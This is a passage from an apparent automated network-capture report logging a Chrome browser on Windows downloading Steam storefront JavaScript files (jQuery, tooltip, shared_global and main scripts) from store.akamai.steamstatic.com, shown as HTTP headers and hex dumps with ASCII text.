eplace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)\|\|e.jquery&
2024-10-06 12:08:22 UTC	8883	IN	Data Raw: 74 2f 7d 2c 63 6f 6e 76 65 72 74 65 72 73 3a 7b 22 74 65 78 74 20 73 63 72 69 70 74 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 76 2e 67 6c 6f 62 61 6c 45 76 61 6c 28 65 29 2c 65 7d 7d 7d 29 2c 76 2e 61 6a 61 78 50 72 65 66 69 6c 74 65 72 28 22 73 63 72 69 70 74 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 63 61 63 68 65 3d 3d 3d 74 26 26 28 65 2e 63 61 63 68 65 3d 21 31 29 2c 65 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 26 26 28 65 2e 74 79 70 65 3d 22 47 45 54 22 2c 65 2e 67 6c 6f 62 61 6c 3d 21 31 29 7d 29 2c 76 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 28 22 73 63 72 69 70 74 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 68 65 61 64 7c 7c 69 2e 67 65 74 45 Data Ascii: t/},converters:{"text script":function(e){return v.globalEval(e),e}}}),v.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),v.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=i.head\|\|i.getE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49734	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:21 UTC	543	OUT	GET /public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:22 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: ".zYHOpI1L3Rt0" Last-Modified: Wed, 28 Jun 2023 04:07:10 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=7904574 Expires: Sun, 05 Jan 2025 23:51:16 GMT Date: Sun, 06 Oct 2024 12:08:22 GMT Content-Length: 16087 Connection: close
2024-10-06 12:08:22 UTC	16037	IN	Data Raw: 2f 2a 20 52 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 0d 0a 20 2a 0d 0a 20 2a 20 54 68 69 73 20 70 6c 75 67 69 6e 20 77 69 6c 6c 20 63 72 65 61 74 65 20 64 69 76 2e 6a 73 54 6f 6f 6c 74 69 70 20 65 6c 65 6d 65 6e 74 73 20 28 6f 72 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 6f 77 6e 21 29 20 69 6e 20 62 6f 64 79 20 66 6f 72 20 65 76 65 72 79 20 74 6f 6f 6c 74 69 70 20 6f 6e 20 74 68 65 20 70 61 67 65 2e 20 53 6f 6d 65 0d 0a 20 2a 20 62 61 73 69 63 20 43 53 53 20 69 73 20 61 70 70 6c 69 65 64 20 61 75 74 6f 6d 61 67 69 63 61 6c 6c 79 2c 20 62 75 74 20 79 6f 75 27 6c 6c 20 77 61 6e 74 20 74 6f 20 73 74 79 6c 65 20 69 74 20 6f 6e 20 79 6f 75 72 20 6f 77 6e 20 66 72 6f 6d 20 74 68 65 72 65 2e 20 54 68 69 73 20 63 6f 64 65 20 77 69 6c 6c 20 62 65 20 61 70 Data Ascii: /* Requires jQuery * * This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be ap
2024-10-06 12:08:22 UTC	50	IN	Data Raw: 79 2e 74 6f 6f 6c 74 69 70 27 20 29 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 7d 3b 0d 0a 0d 0a 0d 0a 7d 29 28 20 6a 51 75 65 72 79 20 29 3b 0d 0a 0d 0a 0d 0a Data Ascii: y.tooltip' );}};})( jQuery );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49735	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:22 UTC	558	OUT	GET /public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:22 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "Q5tt-d8r0YLu" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14546925 Expires: Sun, 23 Mar 2025 20:57:07 GMT Date: Sun, 06 Oct 2024 12:08:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:22 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 53 74 65 61 6d 20 3d 20 7b 0d 0a 09 73 6d 5f 62 49 6e 69 74 69 61 6c 69 7a 65 64 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 43 6c 69 65 6e 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 47 61 6d 65 4f 76 65 72 6c 61 79 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 54 65 6e 66 6f 6f 74 42 72 6f 77 73 65 72 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 43 68 61 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 41 70 70 3a 20 66 61 6c 73 65 2c 0d 0a 0d 0a 09 42 49 73 55 73 65 72 49 6e 53 74 65 61 6d 43 6c 69 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 09 7b 0d 0a 09 09 69 66 20 28 20 21 53 74 Data Ascii: 0000C000Steam = {sm_bInitialized: false,sm_bUserInClient: false,sm_bUserInGameOverlay: false,sm_bUserInTenfootBrowser: false,sm_bUserInMobileChat: false,sm_bUserInMobileApp: false,BIsUserInSteamClient: function(){if ( !St
2024-10-06 12:08:22 UTC	15833	IN	Data Raw: 2e 61 70 70 65 6e 64 28 20 73 74 72 44 65 73 63 72 69 70 74 69 6f 6e 20 29 20 29 3b 0d 0a 0d 0a 09 69 66 20 28 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 20 3e 20 30 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 24 42 75 74 74 6f 6e 73 20 3d 20 24 4a 28 27 3c 64 69 76 2f 3e 27 2c 20 7b 27 63 6c 61 73 73 27 3a 20 27 6e 65 77 6d 6f 64 61 6c 5f 62 75 74 74 6f 6e 73 27 2c 20 27 64 61 74 61 2d 70 61 6e 65 6c 27 3a 20 27 7b 22 66 6c 6f 77 2d 63 68 69 6c 64 72 65 6e 22 3a 22 72 6f 77 22 7d 27 20 7d 20 29 3b 0d 0a 09 09 24 43 6f 6e 74 65 6e 74 2e 61 70 70 65 6e 64 28 20 24 42 75 74 74 6f 6e 73 20 29 3b 0d 0a 09 09 66 6f 72 28 20 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 0d 0a 09 09 7b 0d Data Ascii: .append( strDescription ) );if ( rgButtons.length > 0 ){var $Buttons = $J('<div/>', {'class': 'newmodal_buttons', 'data-panel': '{"flow-children":"row"}' } );$Content.append( $Buttons );for( var i = 0; i < rgButtons.length; i++ ){
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 65 6e 74 20 2e 63 6f 6f 6b 69 65 4d 65 73 73 61 67 65 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f 70 6f 70 75 70 5f 63 6f 6e 74 65 6e 74 20 2e 62 75 74 74 6f 6e 47 72 6f 75 70 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 3b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f Data Ascii: ent .cookieMessage {\r\n margin-bottom: 20px;\r\n }\r\n body.responsive_page .cookiepreferences_popup_content .buttonGroup {\r\n flex-direction: row;\r\n margin-left: 0px;\r\n }\r\n body.responsive_page .cookiepreferences_
2024-10-06 12:08:22 UTC	947	IN	Data Raw: 65 66 65 72 65 6e 63 65 4e 61 6d 65 2c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 20 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 21 42 49 6e 73 69 64 65 49 46 72 61 6d 65 28 29 20 26 26 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 3b 0d 0a 09 7d 0d 0a 09 65 6c 73 65 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 6f 53 74 6f 72 61 67 65 20 3d 20 5f 47 65 74 53 74 6f 72 61 67 65 46 72 6f 6d 43 6f 6f 6b 69 65 28 29 3b 0d 0a 0d 0a 09 09 72 65 74 75 72 6e 20 6f 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 Data Ascii: eferenceName, defaultValue ){if ( !BInsideIFrame() && window.localStorage ){return window.localStorage[strPreferenceName] \|\| defaultValue;}else{var oStorage = _GetStorageFromCookie();return oStorage[strPreferenceName] \|\| def
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 77 72 61 70 70 65 72 20 29 3b 0d 0a 09 09 65 6c 2e 72 65 6d 6f 76 65 28 29 3b 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 79 6e 61 6d 69 63 4c 69 6e 6b 5f 50 6c 61 79 56 69 6d 65 6f 56 69 64 65 6f 49 6e 6c 69 6e 65 28 20 65 6c 65 6d 2c 20 76 69 64 65 6f 69 64 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 65 6c 20 3d 20 24 4a 28 65 6c 65 6d 29 3b 0d 0a 09 76 61 72 20 76 69 64 65 6f 75 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 70 6c 61 79 65 72 2e 76 69 6d 65 6f 2e 63 6f 6d 2f 76 69 64 65 6f 2f 27 20 2b 20 76 69 64 65 6f 69 64 20 2b 20 27 3f 62 61 64 67 65 3d 30 26 61 75 74 6f 70 61 75 73 65 3d 30 26 61 75 74 6f 70 6c 61 79 3d 31 26 70 6c 61 79 65 72 5f 69 64 3d 30 27 3b 0d 0a 09 76 61 72 20 77 72 61 70 70 65 72 20 3d Data Ascii: 00004000wrapper );el.remove();}}function DynamicLink_PlayVimeoVideoInline( elem, videoid ){var el = $J(elem);var videourl = 'https://player.vimeo.com/video/' + videoid + '?badge=0&autopause=0&autoplay=1&player_id=0';var wrapper =
2024-10-06 12:08:22 UTC	12	IN	Data Raw: 20 28 20 21 74 68 69 73 2e 6d 0d 0a Data Ascii: ( !this.m
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 30 30 30 30 43 33 38 36 0d 0a 5f 62 52 65 73 74 6f 72 69 6e 67 53 63 72 6f 6c 6c 54 6f 70 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 09 7d 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 3d 20 70 61 72 73 65 49 6e 74 28 20 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 29 20 29 3b 0d 0a 09 69 66 20 28 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 76 69 65 77 70 6f 72 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 76 69 65 77 70 6f 72 74 2e 67 65 74 44 69 6d 65 6e 73 69 6f 6e 73 28 29 3b 20 2f 2f 20 47 65 74 73 20 74 68 65 20 76 69 65 77 70 6f 72 74 20 61 73 Data Ascii: 0000C386_bRestoringScrollTop ){return;}var scrollTopPrevious = parseInt( $J( "#" + this.m_strElementPrefix + '_scroll_top').val() );if ( scrollTopPrevious ){var viewport = document.viewport.getDimensions(); // Gets the viewport as
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 54 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 20 7c 7c 20 30 3b 0d 0a 09 09 7d 0d 0a 09 09 65 6c 73 65 0d 0a 09 09 7b 0d 0a 09 09 09 72 65 74 75 72 6e 20 65 76 65 6e 74 2e 70 61 67 65 58 20 7c 7c 20 30 3b 0d 0a 09 09 7d 0d 0a 09 7d 3b 0d 0a 0d 0a 09 76 61 72 20 5f 74 68 69 73 20 3d 20 74 68 69 73 3b 0d 0a 09 74 68 69 73 2e 6d 5f 24 43 6f 6e 74 61 69 6e 65 72 2e 6f 6e 28 20 27 6d 6f 75 73 65 64 6f 77 6e 20 74 6f 75 63 68 73 74 61 72 74 27 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 7b 0d 0a 09 09 5f 74 68 69 73 2e 43 61 6c 63 52 61 74 69 6f 73 28 29 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 21 5f 74 68 69 73 2e 6d 5f 24 47 72 61 62 62 65 72 2e 69 73 28 20 65 76 65 6e 74 2e 74 61 72 67 65 74 20 29 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 2f 2f 20 6a Data Ascii: Touches[0].pageX \|\| 0;}else{return event.pageX \|\| 0;}};var _this = this;this.m_$Container.on( 'mousedown touchstart', function( event ) {_this.CalcRatios();if ( !_this.m_$Grabber.is( event.target ) ){// j
2024-10-06 12:08:22 UTC	2753	IN	Data Raw: 65 72 2c 20 65 6c 65 6d 41 6c 74 65 72 6e 61 74 65 41 6c 69 67 6e 54 6f 20 7c 7c 20 6e 75 6c 6c 20 29 3b 0d 0a 09 09 09 53 68 6f 77 57 69 74 68 46 61 64 65 28 20 24 50 6f 70 75 70 20 29 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 09 24 4c 69 6e 6b 2e 61 64 64 43 6c 61 73 73 28 27 66 6f 63 75 73 27 29 3b 0d 0a 09 7d 0d 0a 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 48 69 64 65 46 6c 79 6f 75 74 4d 65 6e 75 28 20 65 76 65 6e 74 2c 20 65 6c 65 6d 4c 69 6e 6b 2c 20 65 6c 65 6d 50 6f 70 75 70 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 4c 69 6e 6b 20 3d 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 4c 69 6e 6b 29 3b 0d 0a 09 76 61 72 20 24 50 6f 70 75 70 20 3d 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 50 6f 70 75 70 29 3b Data Ascii: er, elemAlternateAlignTo \|\| null );ShowWithFade( $Popup );}$Link.addClass('focus');}}function HideFlyoutMenu( event, elemLink, elemPopup ){var $Link = $JFromIDOrElement(elemLink);var $Popup = $JFromIDOrElement(elemPopup);
2024-10-06 12:08:22 UTC	14545	IN	Data Raw: 09 7b 0d 0a 09 09 2f 2f 65 6c 65 6d 50 6f 70 75 70 2e 73 74 79 6c 65 2e 6c 65 66 74 20 3d 20 28 20 65 6c 65 6d 4c 69 6e 6b 2e 70 6f 73 69 74 69 6f 6e 65 64 4f 66 66 73 65 74 28 29 5b 30 5d 20 2d 20 31 32 20 29 20 2b 20 27 70 78 27 3b 0d 0a 09 09 6f 66 66 73 65 74 4c 65 66 74 20 3d 20 2d 73 68 61 64 6f 77 70 78 20 2d 20 62 6f 72 64 65 72 70 78 3b 0d 0a 09 7d 0d 0a 09 65 6c 73 65 20 69 66 20 28 20 61 6c 69 67 6e 20 3d 3d 20 27 72 69 67 68 74 27 20 29 0d 0a 09 7b 0d 0a 09 09 2f 2f 65 6c 65 6d 50 6f 70 75 70 2e 73 74 79 6c 65 2e 6c 65 66 74 20 3d 20 28 20 65 6c 65 6d 4c 69 6e 6b 2e 70 6f 73 69 74 69 6f 6e 65 64 4f 66 66 73 65 74 28 29 5b 30 5d 20 2b 20 65 6c 65 6d 4c 69 6e 6b 2e 67 65 74 57 69 64 74 68 28 29 20 2d 20 65 6c 65 6d 50 6f 70 75 70 2e 67 65 74 57 Data Ascii: {//elemPopup.style.left = ( elemLink.positionedOffset()[0] - 12 ) + 'px';offsetLeft = -shadowpx - borderpx;}else if ( align == 'right' ){//elemPopup.style.left = ( elemLink.positionedOffset()[0] + elemLink.getWidth() - elemPopup.getW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49736	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:22 UTC	542	OUT	GET /public/javascript/main.js?v=90zQriNTNEnM&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:22 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "90zQriNTNEnM" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=15552000 Expires: Fri, 04 Apr 2025 12:08:22 GMT Date: Sun, 06 Oct 2024 12:08:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:22 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 6f 74 46 6c 61 73 68 50 6f 70 75 70 28 29 0d 0a 7b 0d 0a 09 76 61 72 20 77 69 6e 20 3d 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 20 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 67 6f 74 66 6c 61 73 68 27 2c 27 67 6f 74 66 6c 61 73 68 27 2c 27 77 69 64 74 68 3d 35 33 36 2c 68 65 69 67 68 74 3d 35 34 36 2c 72 65 73 69 7a 65 3d 79 65 73 2c 73 63 72 6f 6c 6c 62 61 72 73 3d 79 65 73 27 29 3b 0d 0a 09 77 69 6e 2e 66 6f 63 75 73 28 29 3b 0d 0a 7d 0d 0a 0d 0a 2f 2f 0d 0a 2f 2f 20 50 61 67 65 2d 61 62 6c 65 20 74 61 62 73 0d 0a 2f 2f 0d 0a 76 61 72 20 74 61 62 53 74 61 72 74 20 3d 20 7b 20 7d 3b 0d 0a 76 61 72 20 74 61 62 4d 61 78 20 3d 20 7b 20 7d 3b Data Ascii: 0000C000function GotFlashPopup(){var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');win.focus();}//// Page-able tabs//var tabStart = { };var tabMax = { };
2024-10-06 12:08:22 UTC	15833	IN	Data Raw: 68 6c 69 73 74 43 6f 75 6e 74 28 20 64 61 74 61 2e 77 69 73 68 6c 69 73 74 43 6f 75 6e 74 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 09 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 49 6e 76 61 6c 69 64 61 74 65 43 61 63 68 65 28 29 3b 0d 0a 09 09 7d 29 2e 66 61 69 6c 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 09 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 64 69 76 54 6f 53 68 6f 77 45 72 72 6f 72 29 2e 73 68 6f 77 28 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 52 65 6d 6f 76 65 46 72 6f 6d 57 69 73 68 6c 69 73 74 28 20 61 70 70 69 64 2c 20 64 69 76 54 6f 48 69 64 65 2c 20 64 69 76 Data Ascii: hlistCount( data.wishlistCount );if ( typeof GDynamicStore != 'undefined' )GDynamicStore.InvalidateCache();}).fail( function() {$JFromIDOrElement(divToShowError).show();});}function RemoveFromWishlist( appid, divToHide, div
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 73 65 72 50 72 65 66 65 72 65 6e 63 65 73 2c 20 73 74 72 50 61 63 6b 61 67 65 58 4d 4c 56 65 72 73 69 6f 6e 2c 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 2c 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 73 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 54 65 72 6d 20 3d 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 54 65 72 6d 29 3b 0d 0a 09 76 61 72 20 24 53 75 67 67 65 73 74 69 6f 6e 73 43 74 6e 20 3d 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 20 3f 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 29 20 3a 20 24 4a 28 27 23 73 65 61 72 63 68 74 65 72 6d 5f 6f 70 74 69 6f 6e 73 27 29 3b 0d 0a 09 76 61 72 20 24 53 75 67 67 65 73 74 69 6f 6e 73 20 3d 20 65 6c 65 Data Ascii: serPreferences, strPackageXMLVersion, elemSuggestionCtn, elemSuggestions ){var $Term = $JFromIDOrElement(elemTerm);var $SuggestionsCtn = elemSuggestionCtn ? $JFromIDOrElement(elemSuggestionCtn) : $J('#searchterm_options');var $Suggestions = ele
2024-10-06 12:08:22 UTC	947	IN	Data Raw: 75 74 74 6f 6e 20 3d 20 6a 51 75 65 72 79 28 20 22 23 22 20 2b 20 73 41 64 64 54 6f 43 61 72 74 49 44 20 29 3b 0d 0a 09 6c 65 74 20 65 6c 55 70 64 61 74 65 42 75 74 74 6f 6e 20 3d 20 6a 51 75 65 72 79 28 20 22 23 62 74 6e 5f 71 75 61 6e 74 69 74 79 5f 75 70 64 61 74 65 5f 22 20 2b 20 73 49 64 53 75 66 66 69 78 20 29 3b 0d 0a 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 6c 65 74 20 73 51 74 79 20 3d 20 65 6c 46 69 65 6c 64 2e 76 61 6c 28 29 3b 0d 0a 09 09 6c 65 74 20 73 51 74 79 4d 61 78 20 3d 20 65 6c 46 69 65 6c 64 2e 61 74 74 72 28 20 27 6d 61 78 27 20 29 3b 0d 0a 09 09 6c 65 74 20 6e 51 74 79 20 3d 20 70 61 72 73 65 49 6e 74 28 20 73 51 74 79 20 29 3b 0d 0a 09 09 6c 65 74 20 6e 51 74 79 4d 61 78 20 3d 20 70 61 72 73 65 49 6e 74 28 20 73 51 74 79 4d 61 78 Data Ascii: utton = jQuery( "#" + sAddToCartID );let elUpdateButton = jQuery( "#btn_quantity_update_" + sIdSuffix );try{let sQty = elField.val();let sQtyMax = elField.attr( 'max' );let nQty = parseInt( sQty );let nQtyMax = parseInt( sQtyMax
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6e 6f 72 65 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 61 64 64 20 61 20 70 61 63 6b 61 67 65 20 74 6f 20 61 20 63 61 72 74 2c 20 61 73 73 75 6d 65 73 20 66 6f 72 6d 20 73 65 74 75 70 20 6f 6e 20 74 68 65 20 70 61 67 65 0d 0a 66 75 6e 63 74 69 6f 6e 20 75 70 64 61 74 65 51 74 79 43 61 72 74 28 20 66 6f 72 6d 4e 61 6d 65 2c 20 69 64 20 29 0d 0a 7b 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 2f 2f 20 43 68 65 63 6b 20 66 6f 72 20 71 75 61 6e 74 69 74 79 0d 0a 09 09 76 61 72 20 71 75 61 6e 74 69 74 79 20 3d 20 6a 51 75 65 72 79 28 20 27 23 27 2b 69 64 20 29 2e 76 61 6c 28 29 3b 0d 0a 09 09 69 66 20 28 20 71 75 61 6e 74 69 74 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 0d 0a 09 09 7b 0d 0a Data Ascii: 00004000nore}}// Function to add a package to a cart, assumes form setup on the pagefunction updateQtyCart( formName, id ){try{// Check for quantityvar quantity = jQuery( '#'+id ).val();if ( quantity !== undefined ){
2024-10-06 12:08:22 UTC	12	IN	Data Raw: 68 28 20 66 75 6e 63 74 69 6f 0d 0a Data Ascii: h( functio
2024-10-06 12:08:22 UTC	7914	IN	Data Raw: 30 30 30 30 31 45 44 45 0d 0a 6e 28 29 20 7b 0d 0a 09 09 09 09 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 3d 20 4d 61 74 68 2e 6d 61 78 28 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 2c 20 24 4a 28 74 68 69 73 20 29 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 20 29 3b 0d 0a 09 09 09 7d 29 3b 0d 0a 09 09 09 24 57 72 61 70 70 65 72 2e 63 73 73 28 27 68 65 69 67 68 74 27 2c 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f 6c 6c 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 20 3c 3d 20 31 20 29 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 68 69 64 65 28 29 3b 0d 0a 09 09 09 65 6c 73 65 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 73 68 6f 77 28 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f Data Ascii: 00001EDEn() {nTallestChild = Math.max( nTallestChild, $J(this ).outerHeight() );});$Wrapper.css('height', nTallestChild );if ( $Scroll.scrollLeft() <= 1 )$SliderLeft.hide();else$SliderLeft.show();if ( 